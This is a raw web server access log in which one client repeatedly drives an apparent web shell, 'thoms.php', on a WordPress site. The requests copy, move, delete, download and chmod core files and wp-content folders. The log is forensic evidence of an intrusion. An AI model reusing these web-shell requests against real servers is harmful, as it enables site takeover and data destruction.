45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11855 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Findex.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18280 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?edit=locoy.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 16318 "http://163.245.207.76:443/thoms.php?edit=locoy.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:57 -0400] "GET /thoms.php?edit=locoy.php&p=bestzyx.com.tw HTTP/1.1" 200 12712 "http://163.245.207.76:443/thoms.php?edit=locoy.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?edit=readme.html&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 18605 "http://163.245.207.76:443/thoms.php?edit=readme.html&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?edit=readme.html&p=bestzyx.com.tw HTTP/1.1" 200 14983 "http://163.245.207.76:443/thoms.php?edit=readme.html&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?edit=wp-links-opml.php&p=bestzyx.com.tw HTTP/1.1" 200 12843 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?edit=wp-links-opml.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 16433 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /bestzyx.com.tw/wp-content/plugins/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?del=index.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13618 "http://163.245.207.76:443/thoms.php?del=index.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?dl=index.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13619 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content%2Fthemes HTTP/1.1" 200 13302 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content%2Flanguages HTTP/1.1" 200 26600 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-content%2Flanguages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?chmod=themes&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=themes&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Findex.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Findex.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /bestzyx.com.tw/wp-content/mu-plugins/ HTTP/1.1" 200 799 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /bestzyx.com.tw/wp-content/uploads/ HTTP/1.1" 200 842 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?del=mu-plugins&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13621 "http://163.245.207.76:443/thoms.php?del=mu-plugins&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Fplugins&p= HTTP/1.1" 200 12243 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Fplugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?chmod=index.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /bestzyx.com.tw/wp-content/upgrade/ HTTP/1.1" 200 697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content%2Fuploads HTTP/1.1" 200 12798 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-content%2Fuploads" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content&view=index.php HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-content&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:59 -0400] "GET /thoms.php?del=uploads&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13605 "http://163.245.207.76:443/thoms.php?del=uploads&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:59 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content&upload= HTTP/1.1" 200 12186 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:59 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Fmu-plugins&p= HTTP/1.1" 200 12236 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Fmu-plugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:59 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content%2Fplugins HTTP/1.1" 200 13131 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-content%2Fplugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:59 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content&settings=1 HTTP/1.1" 200 11925 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:59 -0400] "GET /bestzyx.com.tw/wp-content/languages/ HTTP/1.1" 200 4155 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:59 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Flanguages&p= HTTP/1.1" 200 12240 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Flanguages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:00 -0400] "GET /thoms.php?chmod=mu-plugins&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=mu-plugins&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:00 -0400] "GET /thoms.php?del=upgrade&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13564 "http://163.245.207.76:443/thoms.php?del=upgrade&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:00 -0400] "GET /thoms.php?del=languages&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13618 "http://163.245.207.76:443/thoms.php?del=languages&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:00 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Fthemes&p= HTTP/1.1" 200 12242 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:00 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Fupgrade&p= HTTP/1.1" 200 12258 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:00 -0400] "GET /thoms.php?chmod=uploads&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=uploads&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:01 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Fuploads&p= HTTP/1.1" 200 12242 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content%2Fuploads&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:01 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content%2Fmu-plugins HTTP/1.1" 200 12737 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-content%2Fmu-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:01 -0400] "GET /thoms.php?del=themes&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13619 "http://163.245.207.76:443/thoms.php?del=themes&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:01 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content%2Fupgrade HTTP/1.1" 200 12074 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-content%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:01 -0400] "GET /thoms.php?chmod=languages&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=languages&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:01 -0400] "GET /thoms.php?del=plugins&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13618 "http://163.245.207.76:443/thoms.php?del=plugins&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:02 -0400] "GET /bestzyx.com.tw/wp-content HTTP/1.1" 301 795 "http://163.245.207.76:443/bestzyx.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:02 -0400] "GET /bestzyx.com.tw/wp-content/ HTTP/1.1" 200 0 "https://163.245.207.76:443/bestzyx.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:02 -0400] "GET /bestzyx.com.tw/wp-content/themes/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:04 -0400] "GET /bestzyx.com.tw/wp-content/index.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:04 -0400] "GET /thoms.php?chmod=plugins&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=plugins&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:04 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:04 -0400] "GET /thoms.php?chmod=upgrade&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:04 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:04 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18429 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:04 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18432 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:05 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:05 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:05 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:06 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:06 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:06 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:07 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p= HTTP/1.1" 200 12238 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:07 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11374 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:07 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:07 -0400] "GET /thoms.php?dl=cjfuns.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13431 "http://163.245.207.76:443/thoms.php?dl=cjfuns.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:07 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator&upload= HTTP/1.1" 200 12188 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Foptimized-validator&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:07 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator&settings=1 HTTP/1.1" 200 11933 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Foptimized-validator&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:07 -0400] "GET /thoms.php?chmod=admin.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:08 -0400] "GET /thoms.php?chmod=index.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:08 -0400] "GET /thoms.php?chmod=license.txt&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:08 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator%2Flicense.txt&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator%2Flicense.txt&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:08 -0400] "GET /thoms.php?dl=profile.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13431 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:08 -0400] "GET /bestzyx.com.tw/optimized-validator/admin.php HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:08 -0400] "GET /bestzyx.com.tw/optimized-validator/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
